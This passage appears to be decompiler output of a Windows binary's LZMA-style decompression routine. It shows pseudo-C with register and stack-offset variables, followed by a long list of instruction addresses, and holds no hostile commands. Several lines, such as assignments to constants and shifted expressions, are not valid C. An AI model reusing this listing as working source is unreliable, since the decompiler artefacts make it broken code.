                                                                                                        							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							_t156 = __ebp - 0x70;
                                                                                                        							 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                                        							__eflags =  *_t156;
                                                                                                        							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							while(1) {
                                                                                                        								L48:
                                                                                                        								__eflags = __ebx - 0x100;
                                                                                                        								if(__ebx >= 0x100) {
                                                                                                        									break;
                                                                                                        								}
                                                                                                        								__eax =  *(__ebp - 0x58);
                                                                                                        								__edx = __ebx + __ebx;
                                                                                                        								__ecx =  *(__ebp - 0x10);
                                                                                                        								__esi = __edx + __eax;
                                                                                                        								__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        								__ax =  *__esi;
                                                                                                        								 *(__ebp - 0x54) = __esi;
                                                                                                        								__edi = __ax & 0x0000ffff;
                                                                                                        								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        								__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        								if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        									__cx = __ax;
                                                                                                        									_t170 = __edx + 1; // 0x1
                                                                                                        									__ebx = _t170;
                                                                                                        									__cx = __ax >> 5;
                                                                                                        									__eflags = __eax;
                                                                                                        									 *__esi = __ax;
                                                                                                        								} else {
                                                                                                        									 *(__ebp - 0x10) = __ecx;
                                                                                                        									0x800 = 0x800 - __edi;
                                                                                                        									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        									__ebx = __ebx + __ebx;
                                                                                                        									 *__esi = __cx;
                                                                                                        								}
                                                                                                        								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        								 *(__ebp - 0x44) = __ebx;
                                                                                                        								if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        									continue;
                                                                                                        								} else {
                                                                                                        									goto L46;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							L54:
                                                                                                        							_t173 = __ebp - 0x34;
                                                                                                        							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                                        							__eflags =  *_t173;
                                                                                                        							goto L55;
                                                                                                        						case 0xf:
                                                                                                        							L58:
                                                                                                        							__eflags =  *(__ebp - 0x6c);
                                                                                                        							if( *(__ebp - 0x6c) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0xf;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x70);
                                                                                                        							__eax =  *(__ebp - 0xc);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							_t203 = __ebp - 0x70;
                                                                                                        							 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                                        							__eflags =  *_t203;
                                                                                                        							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							L60:
                                                                                                        							__eflags = __ebx - 0x100;
                                                                                                        							if(__ebx >= 0x100) {
                                                                                                        								L55:
                                                                                                        								__al =  *(__ebp - 0x44);
                                                                                                        								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                                        								goto L56;
                                                                                                        							}
                                                                                                        							L61:
                                                                                                        							__eax =  *(__ebp - 0x58);
                                                                                                        							__edx = __ebx + __ebx;
                                                                                                        							__ecx =  *(__ebp - 0x10);
                                                                                                        							__esi = __edx + __eax;
                                                                                                        							__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        							__ax =  *__esi;
                                                                                                        							 *(__ebp - 0x54) = __esi;
                                                                                                        							__edi = __ax & 0x0000ffff;
                                                                                                        							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        							__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        							if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        								__cx = __ax;
                                                                                                        								_t217 = __edx + 1; // 0x1
                                                                                                        								__ebx = _t217;
                                                                                                        								__cx = __ax >> 5;
                                                                                                        								__eflags = __eax;
                                                                                                        								 *__esi = __ax;
                                                                                                        							} else {
                                                                                                        								 *(__ebp - 0x10) = __ecx;
                                                                                                        								0x800 = 0x800 - __edi;
                                                                                                        								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        								__ebx = __ebx + __ebx;
                                                                                                        								 *__esi = __cx;
                                                                                                        							}
                                                                                                        							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        							 *(__ebp - 0x44) = __ebx;
                                                                                                        							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        								goto L60;
                                                                                                        							} else {
                                                                                                        								goto L58;
                                                                                                        							}
                                                                                                        						case 0x10:
                                                                                                        							L109:
                                                                                                        							__eflags =  *(__ebp - 0x6c);
                                                                                                        							if( *(__ebp - 0x6c) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0x10;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x70);
                                                                                                        							__eax =  *(__ebp - 0xc);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							_t365 = __ebp - 0x70;
                                                                                                        							 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                                        							__eflags =  *_t365;
                                                                                                        							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							goto L111;
                                                                                                        						case 0x11:
                                                                                                        							goto L69;
                                                                                                        						case 0x12:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								__eax =  *(__ebp - 0x58);
                                                                                                        								 *(__ebp - 0x84) = 0x13;
                                                                                                        								__esi =  *(__ebp - 0x58) + 2;
                                                                                                        								goto L132;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x4c);
                                                                                                        							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                                        							__ecx =  *(__ebp - 0x58);
                                                                                                        							__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        							__eflags = __eax;
                                                                                                        							__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                                        							goto L130;
                                                                                                        						case 0x13:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								_t469 = __ebp - 0x58;
                                                                                                        								 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                                        								__eflags =  *_t469;
                                                                                                        								 *(__ebp - 0x30) = 0x10;
                                                                                                        								 *(__ebp - 0x40) = 8;
                                                                                                        								L144:
                                                                                                        								 *(__ebp - 0x7c) = 0x14;
                                                                                                        								goto L145;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x4c);
                                                                                                        							__ecx =  *(__ebp - 0x58);
                                                                                                        							__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        							 *(__ebp - 0x30) = 8;
                                                                                                        							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                                        							L130:
                                                                                                        							 *(__ebp - 0x58) = __eax;
                                                                                                        							 *(__ebp - 0x40) = 3;
                                                                                                        							goto L144;
                                                                                                        						case 0x14:
                                                                                                        							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                                        							__eax =  *(__ebp - 0x80);
                                                                                                        							goto L140;
                                                                                                        						case 0x15:
                                                                                                        							__eax = 0;
                                                                                                        							__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        							__al = __al & 0x000000fd;
                                                                                                        							__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                                        							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                                        							goto L120;
                                                                                                        						case 0x16:
                                                                                                        							__eax =  *(__ebp - 0x30);
                                                                                                        							__eflags = __eax - 4;
                                                                                                        							if(__eax >= 4) {
                                                                                                        								_push(3);
                                                                                                        								_pop(__eax);
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 4);
                                                                                                        							 *(__ebp - 0x40) = 6;
                                                                                                        							__eax = __eax << 7;
                                                                                                        							 *(__ebp - 0x7c) = 0x19;
                                                                                                        							 *(__ebp - 0x58) = __eax;
                                                                                                        							goto L145;
                                                                                                        						case 0x17:
                                                                                                        							L145:
                                                                                                        							__eax =  *(__ebp - 0x40);
                                                                                                        							 *(__ebp - 0x50) = 1;
                                                                                                        							 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                                        							goto L149;
                                                                                                        						case 0x18:
                                                                                                        							L146:
                                                                                                        							__eflags =  *(__ebp - 0x6c);
                                                                                                        							if( *(__ebp - 0x6c) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0x18;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x70);
                                                                                                        							__eax =  *(__ebp - 0xc);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							_t484 = __ebp - 0x70;
                                                                                                        							 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                                        							__eflags =  *_t484;
                                                                                                        							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							L148:
                                                                                                        							_t487 = __ebp - 0x48;
                                                                                                        							 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                                        							__eflags =  *_t487;
                                                                                                        							L149:
                                                                                                        							__eflags =  *(__ebp - 0x48);
                                                                                                        							if( *(__ebp - 0x48) <= 0) {
                                                                                                        								__ecx =  *(__ebp - 0x40);
                                                                                                        								__ebx =  *(__ebp - 0x50);
                                                                                                        								0 = 1;
                                                                                                        								__eax = 1 << __cl;
                                                                                                        								__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                                        								__eax =  *(__ebp - 0x7c);
                                                                                                        								 *(__ebp - 0x44) = __ebx;
                                                                                                        								goto L140;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x50);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        							__eax =  *(__ebp - 0x58);
                                                                                                        							__esi = __edx + __eax;
                                                                                                        							 *(__ebp - 0x54) = __esi;
                                                                                                        							__ax =  *__esi;
                                                                                                        							__edi = __ax & 0x0000ffff;
                                                                                                        							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        							__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        							if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        								__cx = __ax;
                                                                                                        								__cx = __ax >> 5;
                                                                                                        								__eax = __eax - __ecx;
                                                                                                        								__edx = __edx + 1;
                                                                                                        								__eflags = __edx;
                                                                                                        								 *__esi = __ax;
                                                                                                        								 *(__ebp - 0x50) = __edx;
                                                                                                        							} else {
                                                                                                        								 *(__ebp - 0x10) = __ecx;
                                                                                                        								0x800 = 0x800 - __edi;
                                                                                                        								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        								 *__esi = __cx;
                                                                                                        							}
                                                                                                        							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        								goto L148;
                                                                                                        							} else {
                                                                                                        								goto L146;
                                                                                                        							}
                                                                                                        						case 0x19:
                                                                                                        							__eflags = __ebx - 4;
                                                                                                        							if(__ebx < 4) {
                                                                                                        								 *(__ebp - 0x2c) = __ebx;
                                                                                                        								L119:
                                                                                                        								_t393 = __ebp - 0x2c;
                                                                                                        								 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                                        								__eflags =  *_t393;
                                                                                                        								L120:
                                                                                                        								__eax =  *(__ebp - 0x2c);
                                                                                                        								__eflags = __eax;
                                                                                                        								if(__eax == 0) {
                                                                                                        									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                                        									goto L170;
                                                                                                        								}
                                                                                                        								__eflags = __eax -  *(__ebp - 0x60);
                                                                                                        								if(__eax >  *(__ebp - 0x60)) {
                                                                                                        									goto L171;
                                                                                                        								}
                                                                                                        								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                                        								__eax =  *(__ebp - 0x30);
                                                                                                        								_t400 = __ebp - 0x60;
                                                                                                        								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                                        								__eflags =  *_t400;
                                                                                                        								goto L123;
                                                                                                        							}
                                                                                                        							__ecx = __ebx;
                                                                                                        							__eax = __ebx;
                                                                                                        							__ecx = __ebx >> 1;
                                                                                                        							__eax = __ebx & 0x00000001;
                                                                                                        							__ecx = (__ebx >> 1) - 1;
                                                                                                        							__al = __al | 0x00000002;
                                                                                                        							__eax = (__ebx & 0x00000001) << __cl;
                                                                                                        							__eflags = __ebx - 0xe;
                                                                                                        							 *(__ebp - 0x2c) = __eax;
                                                                                                        							if(__ebx >= 0xe) {
                                                                                                        								__ebx = 0;
                                                                                                        								 *(__ebp - 0x48) = __ecx;
                                                                                                        								L102:
                                                                                                        								__eflags =  *(__ebp - 0x48);
                                                                                                        								if( *(__ebp - 0x48) <= 0) {
                                                                                                        									__eax = __eax + __ebx;
                                                                                                        									 *(__ebp - 0x40) = 4;
                                                                                                        									 *(__ebp - 0x2c) = __eax;
                                                                                                        									__eax =  *(__ebp - 4);
                                                                                                        									__eax =  *(__ebp - 4) + 0x644;
                                                                                                        									__eflags = __eax;
                                                                                                        									L108:
                                                                                                        									__ebx = 0;
                                                                                                        									 *(__ebp - 0x58) = __eax;
                                                                                                        									 *(__ebp - 0x50) = 1;
                                                                                                        									 *(__ebp - 0x44) = 0;
                                                                                                        									 *(__ebp - 0x48) = 0;
                                                                                                        									L112:
                                                                                                        									__eax =  *(__ebp - 0x40);
                                                                                                        									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                                        										_t391 = __ebp - 0x2c;
                                                                                                        										 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                                        										__eflags =  *_t391;
                                                                                                        										goto L119;
                                                                                                        									}
                                                                                                        									__eax =  *(__ebp - 0x50);
                                                                                                        									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        									__eax =  *(__ebp - 0x58);
                                                                                                        									__esi = __edi + __eax;
                                                                                                        									 *(__ebp - 0x54) = __esi;
                                                                                                        									__ax =  *__esi;
                                                                                                        									__ecx = __ax & 0x0000ffff;
                                                                                                        									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                                        									__eflags =  *(__ebp - 0xc) - __edx;
                                                                                                        									if( *(__ebp - 0xc) >= __edx) {
                                                                                                        										__ecx = 0;
                                                                                                        										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                                        										__ecx = 1;
                                                                                                        										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                                        										__ebx = 1;
                                                                                                        										__ecx =  *(__ebp - 0x48);
                                                                                                        										__ebx = 1 << __cl;
                                                                                                        										__ecx = 1 << __cl;
                                                                                                        										__ebx =  *(__ebp - 0x44);
                                                                                                        										__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                                        										__cx = __ax;
                                                                                                        										__cx = __ax >> 5;
                                                                                                        										__eax = __eax - __ecx;
                                                                                                        										__edi = __edi + 1;
                                                                                                        										__eflags = __edi;
                                                                                                        										 *(__ebp - 0x44) = __ebx;
                                                                                                        										 *__esi = __ax;
                                                                                                        										 *(__ebp - 0x50) = __edi;
                                                                                                        									} else {
                                                                                                        										 *(__ebp - 0x10) = __edx;
                                                                                                        										0x800 = 0x800 - __ecx;
                                                                                                        										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                                        										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        										 *__esi = __dx;
                                                                                                        									}
                                                                                                        									__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        									if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        										L111:
                                                                                                        										_t368 = __ebp - 0x48;
                                                                                                        										 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                                        										__eflags =  *_t368;
                                                                                                        										goto L112;
                                                                                                        									} else {
                                                                                                        										goto L109;
                                                                                                        									}
                                                                                                        								}
                                                                                                        								__ecx =  *(__ebp - 0xc);
                                                                                                        								__ebx = __ebx + __ebx;
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                                        								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        								 *(__ebp - 0x44) = __ebx;
                                                                                                        								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                                        									__ecx =  *(__ebp - 0x10);
                                                                                                        									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        									__ebx = __ebx | 0x00000001;
                                                                                                        									__eflags = __ebx;
                                                                                                        									 *(__ebp - 0x44) = __ebx;
                                                                                                        								}
                                                                                                        								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        								if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        									L101:
                                                                                                        									_t338 = __ebp - 0x48;
                                                                                                        									 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                                        									__eflags =  *_t338;
                                                                                                        									goto L102;
                                                                                                        								} else {
                                                                                                        									goto L99;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							__edx =  *(__ebp - 4);
                                                                                                        							__eax = __eax - __ebx;
                                                                                                        							 *(__ebp - 0x40) = __ecx;
                                                                                                        							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                                        							goto L108;
                                                                                                        						case 0x1a:
                                                                                                        							L56:
                                                                                                        							__eflags =  *(__ebp - 0x64);
                                                                                                        							if( *(__ebp - 0x64) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0x1a;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x68);
                                                                                                        							__al =  *(__ebp - 0x5c);
                                                                                                        							__edx =  *(__ebp - 8);
                                                                                                        							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        							 *( *(__ebp - 0x68)) = __al;
                                                                                                        							__ecx =  *(__ebp - 0x14);
                                                                                                        							 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                                        							__eax = __ecx + 1;
                                                                                                        							__edx = 0;
                                                                                                        							_t192 = __eax %  *(__ebp - 0x74);
                                                                                                        							__eax = __eax /  *(__ebp - 0x74);
                                                                                                        							__edx = _t192;
                                                                                                        							goto L79;
                                                                                                        						case 0x1b:
                                                                                                        							goto L75;
                                                                                                        						case 0x1c:
                                                                                                        							while(1) {
                                                                                                        								L123:
                                                                                                        								__eflags =  *(__ebp - 0x64);
                                                                                                        								if( *(__ebp - 0x64) == 0) {
                                                                                                        									break;
                                                                                                        								}
                                                                                                        								__eax =  *(__ebp - 0x14);
                                                                                                        								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        								__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        								if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        									__eax = __eax +  *(__ebp - 0x74);
                                                                                                        									__eflags = __eax;
                                                                                                        								}
                                                                                                        								__edx =  *(__ebp - 8);
                                                                                                        								__cl =  *(__eax + __edx);
                                                                                                        								__eax =  *(__ebp - 0x14);
                                                                                                        								 *(__ebp - 0x5c) = __cl;
                                                                                                        								 *(__eax + __edx) = __cl;
                                                                                                        								__eax = __eax + 1;
                                                                                                        								__edx = 0;
                                                                                                        								_t414 = __eax %  *(__ebp - 0x74);
                                                                                                        								__eax = __eax /  *(__ebp - 0x74);
                                                                                                        								__edx = _t414;
                                                                                                        								__eax =  *(__ebp - 0x68);
                                                                                                        								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                                        								__eflags =  *(__ebp - 0x30);
                                                                                                        								 *( *(__ebp - 0x68)) = __cl;
                                                                                                        								 *(__ebp - 0x14) = _t414;
                                                                                                        								if( *(__ebp - 0x30) > 0) {
                                                                                                        									continue;
                                                                                                        								} else {
                                                                                                        									goto L80;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							 *(__ebp - 0x88) = 0x1c;
                                                                                                        							goto L170;
                                                                                                        					}
                                                                                                        				}
                                                                                                        			}













                                                                                                        0x00000000
                                                                                                        0x0040647d
                                                                                                        0x0040647d
                                                                                                        0x00406481
                                                                                                        0x00406538
                                                                                                        0x0040653b
                                                                                                        0x00406547
                                                                                                        0x00406428
                                                                                                        0x00406428
                                                                                                        0x0040642b
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067ec
                                                                                                        0x00406813
                                                                                                        0x00406813
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x004067ee
                                                                                                        0x004067ee
                                                                                                        0x004067f2
                                                                                                        0x004069a1
                                                                                                        0x00000000
                                                                                                        0x004069a1
                                                                                                        0x004067fe
                                                                                                        0x00406805
                                                                                                        0x0040680d
                                                                                                        0x00406810
                                                                                                        0x00000000
                                                                                                        0x00406810
                                                                                                        0x00406487
                                                                                                        0x0040648b
                                                                                                        0x004069cc
                                                                                                        0x004069cc
                                                                                                        0x004069cf
                                                                                                        0x004069d3
                                                                                                        0x004069d3
                                                                                                        0x00406491
                                                                                                        0x00406497
                                                                                                        0x0040649a
                                                                                                        0x0040649e
                                                                                                        0x004064a1
                                                                                                        0x004064a5
                                                                                                        0x0040696b
                                                                                                        0x004069b7
                                                                                                        0x004069bf
                                                                                                        0x004069c6
                                                                                                        0x004069c8
                                                                                                        0x00000000
                                                                                                        0x004069c8
                                                                                                        0x004064ab
                                                                                                        0x004064ae
                                                                                                        0x004064b4
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b9
                                                                                                        0x004064bc
                                                                                                        0x004064bf
                                                                                                        0x004064c2
                                                                                                        0x004064c5
                                                                                                        0x004064c8
                                                                                                        0x004064c9
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064ce
                                                                                                        0x004064d1
                                                                                                        0x004064d4
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064da
                                                                                                        0x004064dc
                                                                                                        0x004064dc
                                                                                                        0x004064df
                                                                                                        0x004064df
                                                                                                        0x004064df
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fbe
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x00000000
                                                                                                        0x00405fcf
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fd8
                                                                                                        0x00405fdb
                                                                                                        0x00405fde
                                                                                                        0x00405fe2
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fe8
                                                                                                        0x00405feb
                                                                                                        0x00405fed
                                                                                                        0x00405fee
                                                                                                        0x00405ff1
                                                                                                        0x00405ff3
                                                                                                        0x00405ff4
                                                                                                        0x00405ff6
                                                                                                        0x00405ff9
                                                                                                        0x00405ffe
                                                                                                        0x00406003
                                                                                                        0x0040600c
                                                                                                        0x0040601f
                                                                                                        0x00406022
                                                                                                        0x0040602e
                                                                                                        0x00406056
                                                                                                        0x00406058
                                                                                                        0x00406066
                                                                                                        0x00406066
                                                                                                        0x0040606a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x0040605a
                                                                                                        0x0040605d
                                                                                                        0x0040605e
                                                                                                        0x0040605e
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x00406034
                                                                                                        0x00406039
                                                                                                        0x00406039
                                                                                                        0x00406042
                                                                                                        0x0040604a
                                                                                                        0x0040604d
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406070
                                                                                                        0x00406070
                                                                                                        0x00406074
                                                                                                        0x00406920
                                                                                                        0x00000000
                                                                                                        0x00406920
                                                                                                        0x0040607d
                                                                                                        0x0040608d
                                                                                                        0x00406090
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406096
                                                                                                        0x0040609a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040609c
                                                                                                        0x004060a2
                                                                                                        0x004060cc
                                                                                                        0x004060d2
                                                                                                        0x004060d9
                                                                                                        0x00000000
                                                                                                        0x004060d9
                                                                                                        0x004060a8
                                                                                                        0x004060ab
                                                                                                        0x004060b0
                                                                                                        0x004060b0
                                                                                                        0x004060bb
                                                                                                        0x004060c3
                                                                                                        0x004060c6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040610b
                                                                                                        0x00406111
                                                                                                        0x00406114
                                                                                                        0x00406121
                                                                                                        0x00406129
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004060e0
                                                                                                        0x004060e0
                                                                                                        0x004060e4
                                                                                                        0x0040692f
                                                                                                        0x00000000
                                                                                                        0x0040692f
                                                                                                        0x004060f0
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fe
                                                                                                        0x00406101
                                                                                                        0x00406104
                                                                                                        0x00406109
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406131
                                                                                                        0x00406133
                                                                                                        0x00406136
                                                                                                        0x004061a7
                                                                                                        0x004061aa
                                                                                                        0x004061ad
                                                                                                        0x004061b4
                                                                                                        0x004061be
                                                                                                        0x00000000
                                                                                                        0x004061be
                                                                                                        0x00406138
                                                                                                        0x0040613c
                                                                                                        0x0040613f
                                                                                                        0x00406141
                                                                                                        0x00406144
                                                                                                        0x00406147
                                                                                                        0x00406149
                                                                                                        0x0040614c
                                                                                                        0x0040614e
                                                                                                        0x00406153
                                                                                                        0x00406156
                                                                                                        0x00406159
                                                                                                        0x0040615d
                                                                                                        0x00406164
                                                                                                        0x00406167
                                                                                                        0x0040616e
                                                                                                        0x00406172
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x0040617e
